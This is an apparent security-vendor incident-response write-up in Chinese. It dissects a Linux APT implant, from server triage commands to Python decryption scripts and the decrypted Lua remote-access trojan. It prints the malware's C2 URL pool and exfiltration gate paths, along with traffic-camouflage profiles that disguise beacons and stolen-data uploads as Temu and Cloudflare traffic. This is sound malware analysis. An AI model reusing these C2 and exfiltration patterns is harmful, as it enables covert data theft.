
问鼎安全应急响应中心长期深耕高级威胁狩猎、政企单位一线应急响应场景,持续捕获、研判、处置多起APT高级持续性威胁入侵事件、定向渗透攻击与高危木马入侵案例,积累了大量实战化攻防溯源经验。
本次我们将完整带大家走进一起APT组织服务器入侵应急响应案例,从Linux服务器入侵痕迹排查到恶意样本逐层拆解、加密机制破解、攻击链路还原,完整呈现实战级应急处置思路,全文干货充足、细节详实,建议收藏细读。

下集预告:本次狩猎样本包含某国政府专属邮箱的样本,泄露明确项目代号及对应职能部门信息,后续持续更新!
本次案例我们将完整展示被APT入侵Linux服务器侧的应急处置、痕迹排查、线索溯源全流程,梳理清晰、高效的极速排查思路,适配一线应急响应实战场景,可直接落地复用。
服务器上机排查的第一步,优先核查服务器系统时区状态。
多数入侵排查第一时间的忽略的事件便是源于服务器时区与本地排查时区不一致,产生时间时差偏差,导致入侵时间定位错误、痕迹漏查、误判等问题,因此校准时区是精准溯源的基础前提。

确认时区差八小时,严格依据事发入侵时间段倒退,执行精准文件痕迹检索命令,批量筛查该时间段内落地、修改、生成的所有可疑文件,快速定位攻击落地痕迹: find / -path /proc -prune -o -type f -newermt "2026-**-** **:**" ! -newermt "2026-**-** **:**" -print
若检索匹配出的文件数量过多、冗余文件较多,可结合 grep -v 命令过滤无效、系统自带文件,精简排查结果,不影响核心可疑文件的筛查效果,大幅提升排查效率。
文件修改、写入痕迹是溯源攻击行为的核心细节,攻击者植入恶意样本、配置后门、落地载荷、修改系统配置等操作,都会触发文件读写、编辑、修改行为,包括vim编辑器操作、文件拷贝、权限修改、载荷写入等各类操作。
我们重点针对服务器文件历史操作痕迹、读写日志、编辑记录进行精细化排查。
常规的history命令排查方式较为基础,且绝大多数攻击者入侵后会主动清空历史命令记录,掩盖入侵痕迹,因此仅依靠history命令无法完成完整溯源,必须结合文件操作痕迹交叉验证。
针对筛查锁定的可疑文件,我们采用strace追踪样本运行全过程的系统调用行为,可直观捕获样本的文件读写、内存操作、网络连接、进程创建、权限校验、环境读取等核心恶意行为,精准定位攻击动作。

本次追踪发现该恶意样本存在多项典型高危恶意行为,具体如下:
map(NULL, 8388608, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) mmap(NULL, 2330920, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
样本主动开辟两块大容量、可读可写的匿名内存空间,该行为是恶意样本典型特征,高频用于内存加载shellcode、缓存加密载荷、运行内置微型运行时,实现无文件落地、内存级恶意执行,规避常规杀毒软件查杀。
读取 /proc/self/environ 文件,主动采集当前进程的SUDO权限、SHELL环境、用户权限等核心主机环境信息,用于完成主机信息收集、运行权限判断、系统环境指纹采集,为后续差异化攻击、权限利用做铺垫。

读取 /dev/urandom 获取16字节系统随机数,用于生成通信密钥、IV向量、随机数据包标识,是样本实现SSL/TLS加密外联通信的前置核心操作,进一步印证样本通过443端口发起加密外联C2通信的攻击逻辑。

通过 getuid()/geteuid() 校验当前运行权限,返回结果为0,确认样本以最高root权限运行。多数Linux恶意样本会根据运行权限执行差异化攻击逻辑,root权限下会主动尝试权限维持、系统持久化、后门驻留、横向移动等高危操作,普通用户权限仅执行基础外联探测。
调用arch_prctl(ARCH_SET_FS) 完成x86_64架构Linux系统FS寄存器配置,属于标准pthread线程初始化行为,证明该样本内置多线程运行机制:主线程负责循环重连C2服务器、维持心跳通信,子线程独立执行主机侦查、信息窃取、载荷下发、命令执行等恶意操作,攻击行为更隐蔽、高效。
样本主动发起443端口TCP异步加密连接,返回 EINPROGRESS 状态,代表非阻塞socket正在建立远程连接,持续与境外C2服务器维持加密通信通道,接收攻击者远程指令。

为进一步确认样本属性,我们通过 objdump -T 分析样本导入函数列表,排查socket网络通信、fork进程创建、文件操作、命令执行等典型后门特征函数。经过完整检测,样本无任何明文导入函数特征,由此判定该样本为自定义自加密高危恶意样本,通过加密混淆规避静态特征查杀。

我们依托Radare2在服务器端对可疑样本开展快速逆向分析,全程未检测到明文函数、明文C2地址、明文攻击指令等常规特征,进一步验证该样本为高度自定义、多层加密混淆的专属投放样本,无公开同源样本特征,针对性极强、隐蔽性极高。

通过上述多维度排查、动态追踪、静态分析,我们已获取大量高价值攻击线索。

后续围绕线索开展延展排查,重点核查样本驻留机制、系统后门留存、内网横向移动痕迹(au-key,kn-key等)、初始入侵入口(日志排查等)、权限维持方式,信息收集(攻击者通过dump流量信息观察内网业务流量)等核心攻击链路。
当然本文因合规要求,本文暂不披露具体入侵入口细节,其余常规服务器安全排查流程不再过多赘述,当然也开了很多本地监听端口。
本次捕获的恶意样本为一套复合型ELF文件攻击组件集合,整体由初始加密Loader、核心远控程序、Lua恶意脚本、加密载荷等多个模块组成,模块化分工明确、攻击链路完整。样本采用多重加密压缩防护机制,规避常规安全设备检测,整体隐蔽性、抗查杀、抗分析能力极强。
初始loader:多加密层保护:AES-256 加密 + LZ4 压缩 + 自定义密钥处理。
远控组件:AES-256 加密,支持多种通讯协议,代理机制。
Lua脚本:内置三层加解密机制,一层编码转换,一层CRC32校验。
样本初始Loader采用静态链接C++标准库开发,不依赖系统动态库,通过自定义syscall系统调用接口与Linux系统交互,规避常规动态库Hook检测,大幅提升隐蔽性。

样本核心数据、载荷、脚本均采用标准AES-256加密算法进行全方位数据保护,加密参数规范且定制化程度高,具体加密参数如下:

S盒是AES加密算法的核心字节替换组件,该样本完整实现标准AES S盒逻辑,通过字节替换完成数据混淆,打乱原始数据特征,避免明文数据泄露,是样本实现数据加密防护的核心基础模块。

为提升AES加密解密运算效率,规避运算卡顿暴露特征,样本自主实现T0-T7共8组加速查找表,批量完成字节替换、行移位、列混合等加密轮变换核心运算,大幅提升加密解密速率。
其中T0表核心计算方式:T0[x] = [S(x)*02, S(x), S(x), S(x)*03],单次运算输出4个32位加密值,高效完成数据混淆处理。

样本内置16位字节替换表,为S盒算法的16位展开优化版本,进一步细化数据混淆粒度,强化加密防护效果.
部分原始数据片段如下:
偏移 0x0000: 00 5D 00 DE 00 00 00 B7 00 D3 00 CA 00 3C 00 0D
偏移 0x0010: 00 C3 00 F8 00 CB 00 8D 00 76 00 89 00 AA 00 12

样本结合LZ4高速无损数据压缩算法,对加密后的载荷、脚本、配置数据进行压缩处理,既缩小样本体积、降低落地文件特征,又能提升内存加载速度,实现快速无感知运行,是恶意样本常用的轻量化压缩规避手段。

样本程序内部封装大量加密压缩数据,所有核心攻击载荷、Lua脚本、C2配置、通信规则均以密文形式存储,无任何明文特征,需通过专属解密逻辑才能还原二阶段完整攻击产物,常规静态分析无法获取有效攻击信息。

为彻底规避静态特征检测,样本所有关键字符串均采用AES加密存储,无明文泄露,可通过专属AES密钥还原明文,核心加密字符串及对应解密明文如下:
加密字符串 (hex) | 解密后明文 |
|---|---|
| 动态加载库路径 |
| 系统调用号 |
| 关键函数名 |
| 配置参数 |
| 错误信息 |
| 日志信息 |
样本利用Linux特性实现持久化隐匿运行,依托 /proc/self/exe 虚拟软链完成自恢复保活:
/proc/self 等价于 /proc/当前进程PID,可实时指向运行进程;
exe 精准指向进程内存中加载的ELF镜像文件。

核心高危特性:即便攻击者通过 rm 命令删除磁盘上的原始恶意样本文件,只要样本进程仍在服务器后台运行,攻击者即可通过 open 接口读取 /proc/self/exe,完整恢复二进制恶意镜像文件,实现永久驻留、无法通过简单删文件清除。
样本内置大量网络通信相关错误字符串、异常处理逻辑,可适配各类网络波动、连接失败、证书异常、代理失效等场景,保障C2通信持续稳定,充分印证样本具备成熟、稳定的远程网络通信能力。

该恶意样本内部封装超大体积加密核心攻击数据,无明文可直接分析。
我们结合样本加密、压缩机制,自主编写专属提取、解密脚本,完成密文数据提取、逐层解密、载荷还原,成功还原二阶段完整攻击程序。
通过Python脚本解析ELF文件头部、段表信息,精准定位加密载荷与AES密钥内存偏移地址,批量提取核心密文数据与解密密钥,脚本可直接落地复用:
import structimport osSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))ELF_PATH = os.path.join(os.path.dirname(SCRIPT_DIR), '*****.elf')OUTPUT_DIR = SCRIPT_DIRpath = ELF_PATHwith open(path, 'rb') as f:data = f.read()e_ident = data[:16]ei_class = e_ident[4]e_type = struct.unpack_from('<H', data, 16)[0]e_machine = struct.unpack_from('<H', data, 18)[0]e_entry = struct.unpack_from('<Q', data, 24)[0]e_phoff = struct.unpack_from('<Q', data, 32)[0]e_shoff = struct.unpack_from('<Q', data, 40)[0]e_phentsize = struct.unpack_from('<H', data, 54)[0]e_phnum = struct.unpack_from('<H', data, 56)[0]e_shentsize = struct.unpack_from('<H', data, 58)[0]e_shnum = struct.unpack_from('<H', data, 60)[0]e_shstrndx = struct.unpack_from('<H', data, 62)[0]for i inrange(e_phnum):off = e_phoff + i * e_phentsizep_type, p_flags, p_offset, p_vaddr, p_paddr, p_filesz, p_memsz, p_align = struct.unpack_from('<IIQQQQQQ', data, off)blob_vaddr = 0x427168blob_size = 930064for i inrange(e_phnum):off = e_phoff + i * e_phentsizep_type, p_flags, p_offset, p_vaddr, p_paddr, p_filesz, p_memsz, p_align = struct.unpack_from('<IIQQQQQQ', data, off)if p_type == 1:if p_vaddr <= blob_vaddr < p_vaddr + p_filesz:file_off = p_offset + (blob_vaddr - p_vaddr)blob = data[file_off:file_off+blob_size]withopen(os.path.join(OUTPUT_DIR, '1.bin'), 'wb') as f:f.write(blob)breakkey_vaddr = 0x50A410for i inrange(e_phnum):off = e_phoff + i * e_phentsizep_type, p_flags, p_offset, p_vaddr_seg, p_paddr, p_filesz, p_memsz, p_align = struct.unpack_from('<IIQQQQQQ', data, off)if p_type == 1 and p_vaddr_seg <= key_vaddr < p_vaddr_seg + p_filesz:file_off = p_offset + (key_vaddr - p_vaddr_seg)key = data[file_off:file_off+32]withopen(os.path.join(OUTPUT_DIR, 'aes256_key.bin'), 'wb') as f:f.write(key)break
基于已掌握的AES-256加密、LZ4压缩、系统调用逻辑,结合unicorn虚拟化模拟执行,编写解密脚本,模拟样本原生解密流程,成功还原核心shellcode与二阶段完整载荷:
from unicorn import *from unicorn.x86_const import *import struct, osSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))ELF_PATH = os.path.join(os.path.dirname(SCRIPT_DIR), '******.elf')CT_PATH = os.path.join(SCRIPT_DIR, '1.bin')OUT_PATH = os.path.join(SCRIPT_DIR, '2.bin')FUNC_KEYSETUP = 0x40E530FUNC_DECRYPT = 0x40E590RET_SENTINEL = 0xDEAD0000KEY = bytes.fromhex('96b6057b9fe6301d44fda44e2aba4e6f3fd09eb12e93e82d3d455b0ea0695af5')STACK_BASE = 0x7FFE0000STACK_SIZE = 0x40000BUF_BASE = 0x10000000HEAP_BASE = 0x30000000heap_ptr = [HEAP_BASE + 0x10000]withopen(ELF_PATH, 'rb') as f:elfdata = f.read()e_phoff = struct.unpack_from('<Q', elfdata, 32)[0]e_phnum = struct.unpack_from('<H', elfdata, 56)[0]e_phentsize = struct.unpack_from('<H', elfdata, 54)[0]segments = []for i inrange(e_phnum):off = e_phoff + i * e_phentsizep_type, _, p_offset, p_vaddr, _, p_filesz, p_memsz, _ = struct.unpack_from('<IIQQQQQQ', elfdata, off)if p_type == 1:segments.append({'offset': p_offset, 'vaddr': p_vaddr, 'filesz': p_filesz, 'memsz': p_memsz})def hook_syscall(mu, _):num = mu.reg_read(UC_X86_REG_RAX)if num == 9:addr = mu.reg_read(UC_X86_REG_RDI)sz = mu.reg_read(UC_X86_REG_RSI)ret = heap_ptr[0] if addr == 0 else addrif addr == 0:heap_ptr[0] += (sz + 0xFFF) & ~0xFFFmu.reg_write(UC_X86_REG_RAX, ret)elif num == 12:addr = mu.reg_read(UC_X86_REG_RDI)if addr:heap_ptr[0] = addrmu.reg_write(UC_X86_REG_RAX, heap_ptr[0])else:mu.reg_write(UC_X86_REG_RAX, 0)def setup_emu():mu = Uc(UC_ARCH_X86, UC_MODE_64)s0 = segments[0]map_start = s0['vaddr'] & ~0xFFFmap_end = (s0['vaddr'] + s0['memsz'] + 0xFFF) & ~0xFFFmu.mem_map(map_start, map_end - map_start)mu.mem_write(s0['vaddr'], elfdata[s0['offset']:s0['offset']+s0['filesz']])s1 = segments[1]map_start = s1['vaddr'] & ~0xFFFmap_end = (s1['vaddr'] + s1['memsz'] + 0xFFF) & ~0xFFFmu.mem_map(map_start, map_end - map_start)mu.mem_write(s1['vaddr'], elfdata[s1['offset']:s1['offset']+s1['filesz']])mu.mem_map(STACK_BASE, STACK_SIZE)mu.mem_map(BUF_BASE, 0x400000)mu.mem_map(HEAP_BASE, 0x2000000)mu.hook_add(UC_HOOK_INSN, hook_syscall, None, 1, 0, UC_X86_INS_SYSCALL)return mudef call_func(mu, addr, args):regs = [UC_X86_REG_RDI, UC_X86_REG_RSI, UC_X86_REG_RDX, UC_X86_REG_RCX, UC_X86_REG_R8, UC_X86_REG_R9]for i, a inenumerate(args[:6]):mu.reg_write(regs[i], a)sp = (STACK_BASE + STACK_SIZE - 0x2000) & ~0xFsp -= 8mu.mem_write(sp, struct.pack('<Q', RET_SENTINEL))mu.reg_write(UC_X86_REG_RSP, sp)mu.reg_write(UC_X86_REG_RIP, addr)mu.emu_start(addr, RET_SENTINEL)return mu.reg_read(UC_X86_REG_RAX)def main():with open(CT_PATH, 'rb') as f:ct = f.read()mu = setup_emu()KEY_BUF = BUF_BASEIN_BUF = BUF_BASE + 0x10000OUT_BUF = BUF_BASE + 0x100000mu.mem_write(KEY_BUF, KEY)mu.mem_write(IN_BUF, ct)ctx = call_func(mu, FUNC_KEYSETUP, [KEY_BUF, 256])call_func(mu, FUNC_DECRYPT, [ctx, IN_BUF, OUT_BUF, len(ct)])out_data = bytes(mu.mem_read(OUT_BUF, len(ct)))withopen(OUT_PATH, 'wb') as f:f.write(out_data)if __name__ == '__main__':main()3.3 lua木马
经过解密还原的二阶段样本,是一套功能高度完善、模块化设计的Lua远控木马,集成系统侦查、信息窃取、多协议通信、远程命令执行、代理穿透、数据外传等全套APT攻击能力,隐蔽性与功能性拉满。
3.3.1 lua引擎
样本内置完整独立的Lua5.4运行引擎,无需依赖系统自带Lua环境,可自主完成脚本解析、运行、调度,适配各类精简版Linux服务器系统,兼容性极强。
3.3.2 系统信息收集
木马内置完善的主机信息采集模块,通过读取Linux系统核心配置文件,全方位窃取服务器硬件、系统、网络、用户、服务等敏感信息,为攻击者研判靶机价值、制定后续攻击策略提供支撑,采集维度如下:
信息类型
系统读取路径
环境变量信息
/proc/self/environ系统随机源
/dev/urandom主机名称
/proc/sys/kernel/hostnameCPU硬件信息
/proc/cpuinfo操作系统版本
/etc/os-release主机域名配置
/etc/hosts系统服务端口
/etc/servicesDNS解析配置
/etc/resolv.conf系统用户信息
/etc/passwd服务器时区配置
/etc/localtime3.3.3 网络通信功能
该Lua木马具备全协议网络通信能力,支持主流网络传输、远程连接、代理穿透协议,可适配各类网络环境,突破防火墙、边界设备限制,稳定维持C2通信,支持协议如下:
通信协议
功能说明
HTTP
明文超文本传输通信,用于基础数据交互
HTTPS
加密HTTP通信,规避流量明文检测
FTP
明文文件传输,用于载荷上传、数据窃取下载
FTPS
加密文件传输,保障外传数据隐蔽性
SCP
安全文件复制,适配SSH内网传输场景
SFTP
SSH加密文件传输,内网横向文件窃取
TELNET
远程登录协议,用于内网设备探测、接管
MQTT
物联网协议,适配物联网服务器渗透场景
SOCKS4/5
代理穿透协议,实现内网穿透、流量伪装
IMAP/POP3/SMTP
邮件协议,用于邮件数据窃取、钓鱼投递
3.3.4 远程命令执行
木马内置完整Shell调用能力,可接收攻击者远程下发的系统指令,实现无差别命令执行、服务器管控,核心调用参数如下:
Shell调用路径:0x1ED953(对应系统/bin/sh) Shell执行标志:紧邻 -c 执行参数(0x1ED94E) 临时执行文件模板1:0x1ED980(/tmp/tmpnam_XXXXXX) 临时执行文件模板2:0x1ED970(/tmp/tmpfile_XXX) 远程指令标识:0x1C4D39(rcmd/server-fqdn 远程命令通道) 命令执行后清楚临时文件以及操作痕迹 木马核心执行逻辑:接收C2服务器下发的远程命令,先将指令写入服务器/tmp目录临时文件,再通过 /bin/sh -c 调用执行,规避直接命令执行的特征检测,执行结果回传至C2服务器。
3.3.5 lcurl模块初始化 — C2注入入口
木马通过lcurl模块初始化包装器,依托协程调度机制启动,自动完成Lua脚本加载、RC4通信密钥初始化、网络请求参数配置,是整个木马C2通信、指令接收、数据外传的核心注入入口。
3.3.6 加密的地址信息
样本内置多组加密C2通信地址,解密后明文地址池如下,覆盖境外节点、CDN节点、暗网节点等多类型通信地址,支持随机切换,保障通信稳定性:
序号 | 解密后C2 URL |
|---|---|
1 |
|
2 |
|
3 |
|
样本所有HTTP通信规则均通过固定魔术标识 0xEB39CA49982D6663 标记,采用RC4加密存储,包含信标心跳、数据外传、C2响应模拟三套核心伪装配置,全程伪装Temu官方业务流量,隐蔽性极强。
配置A — 信标请求Headers(心跳通信,474字节)
核心逻辑:伪装普通网页访问请求,将心跳信标数据分块Base64编码后,以 api_uid= 为前缀注入Cookie头部,完全伪装为Temu网站用户追踪Cookie,规避流量审计。
配置规则:
header "Host" "www.temu.com"
header "Accept" "text/html,application/xhtml+xml,..."
chunk 30
mask
prepend api_uid=
store-header "Cookie"

配置B — 数据外传POST(窃取数据回传,457字节)
核心逻辑:将窃取的服务器敏感数据Base64编码,封装为Temu官方API JSON格式,携带appKey、时间戳、签名参数,伪装正常业务数据上报,实现无感知数据外泄。
配置规则:
header "Host" "www.temu.com"
header "Content-Type" "application/json"
base64
prepend {"appKey":"fe","data":"
append ","timestamp":"...","sign":"..."}

配置C — C2响应模拟(指令接收,781字节)
核心逻辑:模拟Cloudflare+Temu官方成功响应格式,将攻击者下发的控制指令隐藏在返回报文result对象a-g字段中,正常流量审计无异常,隐蔽接收远控指令。
配置规则:
header "server" "cloudflare"
header "cf-ray" "96722c9c1d70f88e-SIN"
base64
prepend {"success":true,"errorCode":200,"result": {"a":"...","b":"...","g":"..."}}

样本采用RC4流密码算法作为核心通信加密算法,全程用于C2地址解密、通信数据加密、载荷混淆,算法包含两大核心阶段:KSA密钥调度算法、PRGA伪随机生成算法,保障通信数据完整性与保密性,其密钥细节如下:

样本内置专属Lua绑定机制,实现Lua脚本与系统底层交互:Lua脚本调用绑定接口后,自动从Lua栈读取字符串参数,将参数转换为shellcode或系统命令执行,最终将命令输出结果、错误信息回传给Lua脚本,完成完整远控交互闭环。
Lua脚本调用此绑定 → 从Lua栈取出字符串参数 → 作为shellcode/命令传 执行 → 返回执行结果(stdout/stderr)给Lua。

基于前文梳理的多层加解密、校验、编码转换逻辑,我们针对性完成Lua恶意脚本的数据提取、密文还原、反编译解密,完整还原脚本源码与攻击逻辑。
优先精准提取样本内部封装的完整Lua脚本加密数据,剥离冗余无用数据,保留核心密文载荷,为后续解密、反编译提供纯净数据源。

依托专业Lua反编译工具与在线解析平台,对加密脚本进行逐层解密、反编译、源码还原,彻底还原脚本完整功能逻辑。

解密后的Lua恶意脚本总计2165行,结构完整、逻辑严密,内置三层加密防护机制、一层编码转换、CRC32完整性校验,抗分析、抗篡改能力极强。下文直接展示完整分析结果与核心攻击逻辑。
脚本集成多维度加密、混淆、校验机制,全链路保障攻击逻辑不被逆向、流量不被识别,核心功能与对应函数如下:
核心功能 | 对应函数 | 功能说明 |
|---|---|---|
XOR 0x25 解密 | xor_0x25_decrypt() | C++底层固定常量XOR解密,用于字符串混淆还原 |
RC4 加解密 | rc4_encrypt() / rc4_decrypt() | Lua层核心流密码加解密,保护通信数据与配置 |
4字节掩码加解密 | xor_mask() / xor_unmask() | 载荷层随机XOR掩码混淆,每次通信密钥不同 |
Base64 编解码 | base64_encode() / base64_decode() | 传输层数据编码,适配HTTP流量伪装 |
CRC32 校验 | crc32_calculate() / crc32_verify() | 校验载荷完整性,防止数据篡改、丢失 |
载荷封装解封装 | wrap_payload() / unwrap_payload() | 标准化攻击载荷格式,适配多场景传输 |
全链路编解码 | encode_pipeline() / decode_pipeline() | 整合所有加密、编码、校验的完整处理流程 |
C2 URL动态生成 | build_c2_url() | RC4解密URL池+随机GUID替换,动态生成通信地址 |
流量特征分析 | analyze_traffic_features() | 动态适配流量特征,规避静态、动态检测 |
脚本采用双层差异化XOR混淆密钥,分层防护、逐层加密,大幅提升逆向分析难度:
加密层级 | 密钥内容 | 核心用途 |
|---|---|---|
C++底层层 | 固定常量 0x25 | 完成样本内置字符串全局混淆与解密,规避静态特征扫描 |
Lua脚本层 | 4字节随机密钥(每次通信动态变化) | 对传输载荷进行动态XOR掩码混淆,无固定特征,难以溯源 |
RC4作为核心加密密钥,参数定制化程度高,动态可变,防护效果极强,具体参数属性如下
密钥属性 | 具体取值/说明 |
|---|---|
密钥标识 | L7_2(Lua脚本第8个参数) |
密钥来源 | C++宿主运行时通过lua_pushstring动态传入,不固化在脚本中 |
密钥长度 | 动态适配,根据传输数据长度自动调整 |
密钥位置 | Lua栈索引7(从0开始计数) |
解密对象 | C2 URL地址池、HTTP请求规则模板、Header/参数配置 |
木马自定义全套cURL请求参数,精细化配置网络请求规则,规避流量检测、防火墙拦截,核心参数配置如下
cURL配置选项 | 参数取值 | 功能说明 |
|---|---|---|
OPT_URL | 动态构建C2 URL | 指定远程请求目标地址 |
OPT_WRITEFUNCTION | 自定义写入回调 | 收集C2响应体数据,解析远控指令 |
OPT_HTTPHEADER | 自定义伪装Header | 伪装正常业务请求头部 |
OPT_POST | 1(开启POST模式) | 采用POST方式传输数据,隐蔽性更强 |
OPT_POSTFIELDS | 加密后业务载荷 | 传输窃取数据与心跳信息 |
OPT_TCP_NODELAY | 1(禁用Nagle算法) | 降低通信延迟,保证指令实时下发 |
OPT_FOLLOWLOCATION | 1(跟随重定向) | 适配CDN、域名跳转场景,保障通信连通 |
OPT_CONNECTTIMEOUT | 10秒 | 连接超时限制,避免进程卡死 |
OPT_TIMEOUT | L11_2(默认600秒) | 总请求超时,可通过参数动态调整 |
OPT_SSL_VERIFYPEER | 0(关闭验证) | 禁用SSL证书校验,规避证书异常拦截 |
OPT_SSL_VERIFYHOST | 0(关闭验证) | 禁用主机名验证,适配恶意域名通信 |
OPT_FORBID_REUSE | L10_2(动态控制) | 自定义连接复用规则 |
OPT_HEADERFUNCTION | 自定义头部回调 | 收集响应头部信息,解析流量特征 |
OPT_USERAGENT | L5_2(动态UA) | 动态伪装各类客户端UA,规避特征检测 |
OPT_PROXY | L6_2(动态代理) | 支持代理穿透,隐藏真实攻击IP |
OPT_PROXYAUTH | AUTH_ANY(通用认证) | 适配各类代理认证场景 |
OPT_PROXY_SSL_VERIFYPEER | 0(关闭验证) | 禁用代理SSL校验,保障穿透稳定性 |
木马内置多组备用C2域名池,通过专属算法动态生成有效通信地址,支持随机切换、环境变量适配,规避域名封禁,URL池明文与生成流程如下:
URL 池明文格式:
https://cdn.******.net/panel.php?data=%%GUID%%&ver=1.0
https://****.cloudflare.com/gate.php?token=%%GUID%%&type=linux
https://*****.githubusercontent.com/mirror.php?id=%%GUID%%&mode=stage
http://...:8080/handler.php?key=%%GUID%%&opt=[main|alt|dev]
https://tor-exit-node.onion/control.php?session=%%GUID%%&arch=x64
URL动态生成完整流程:
木马支持12类主流客户端UA动态伪装,可随机切换浏览器、爬虫、渗透工具、编程客户端等请求标识,完美伪装正常网络请求,规避设备行为特征检测,可伪装UA列表如下:
序号 | 客户端类型 | 对应User-Agent内容 |
|---|---|---|
1 | Firefox Linux |
|
2 | Chrome Windows |
|
3 | Safari macOS |
|
4 | iOS Safari |
|
5 | curl CLI |
|
6 | Python |
|
7 | Go 默认客户端 |
|
8 | Google 爬虫 |
|
9 | Postman |
|
10 | Nmap 扫描工具 |
|
11 | sqlmap 注入工具 |
|
12 | masscan 扫描工具 |
|
木马伪装的服务端响应头部,完全复刻Temu官方+Cloudflare CDN响应特征,流量审计无异常,具体配置如下:
header "content-type" "application/json;charset=UTF-8"
header "vary" "Accept-Encoding"
header "x-gateway-request-id" "1753850388000-1d65fdfe37c6e247c4c3a53a875670e7-20"
header "access-control-allow-origin" "https://www.temu.com"
header "access-control-allow-headers" "Origin, X-Requested-With, Content-Type, X_Requested_With, Accept, X-HTTP-Method-Override, Cookie, AccessToken, PASSID, VerifyAuthToken, Anti-Content"
header "yak-timeinfo" "1753850388000|22"
header "server" "cloudflare"
header "cf-ray" "96722c9c1d70f88e-SIN"
prepend {"success":true,"errorCode":200,"errorMsg":"SUCCESS","result":{"a":"8qYpjPdJoryAedz3qKixHTsHXbIUPans","b":"1b70c7AregsVRkIO7Kol7","c":null,"d":null,"e":null,"f":null,"g":"L3yPe4E16T3w25fMeQ=="}}
数据外传POST请求头部,全方位伪装Temu官方跨域业务请求,规避跨域检测与流量识别:
header "Host" "www.temu.com"
header "Accept" "/"
header "Origin" "https://www.temu.com"
header "Accept-Language" "en-US,en;q=0.5"
header "Content-Type" "application/json"
header "Sec-Fetch-Dest" "empty"
header "Sec-Fetch-Mode" "cors"
header "Sec-Fetch-Site" "same-origin"
header "Priority" "u=4"
prepend {"appKey":"fe","data":" append ","timestamp":"1753874746769","sign":"332c98a093f71984ccefa638563fadceb2389996"}
心跳信标请求头部,伪装普通用户网页访问行为,无恶意特征,持续上报主机存活状态:
header "Host" "www.temu.com"
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,/;q=0.8"
header "Accept-Language" "en-US,en;q=0.5"
header "Sec-GPC" "1"
header "Sec-Fetch-Dest" "document"
header "Sec-Fetch-Mode" "navigate"
header "Sec-Fetch-Site" "none"
header "Sec-Fetch-User" "?1"
chunk 30
prepend api_uid=
store-header "Cookie
本次捕获的新型Linux ELF木马属于高隐蔽性定制化APT远控程序,区别于普通恶意样本,其采用加密Loader+混淆主体+Lua5.4独立远控三层架构,通过多层加密混淆、内存无文件加载、电商流量,CloudFlare CDN伪装、动态多C2链路等技术,规避主流安全设备检测,可实现服务器长期驻留、远程管控、数据窃取与内网穿透,对政企Linux业务服务器构成严重威胁。
该木马核心攻击特征极具迷惑性:Loader依靠14轮AES-256加密、LZ4压缩、全局字符串混淆消除静态恶意特征,进程永久保活,无法通过简单删文件清除;
远控模块依托全套Temu电商(拼多多国际版)与Cloudflare CDN流量特征伪装通信,动态轮换正规UA与加密C2地址,全程无明显恶意流量指纹,隐蔽性极强。同时,双层XOR混淆、动态RC4密钥、CRC32完整性校验的多重防护,大幅提升了逆向分析与溯源处置难度。
本次拆解的APT高对抗存活样本应急案例,与日常处置中仅普通载荷构成的常规木马入侵排查存在代际技术差距,需要用心去排查,攻击者通常会长期观察业务流量继而定制化的进行后续横向。
与此同时,若企业遭遇未知恶意程序入侵、远控木马、内核级驻留类安全事件包含攻防对抗,APT威胁等场景,均可随时联系我司应急响应团队,7×24 小时提供专业处置支持。
本次分享为真实实际样本失陷排查,若您感兴趣或遭受相似失陷场景均可联系交流。
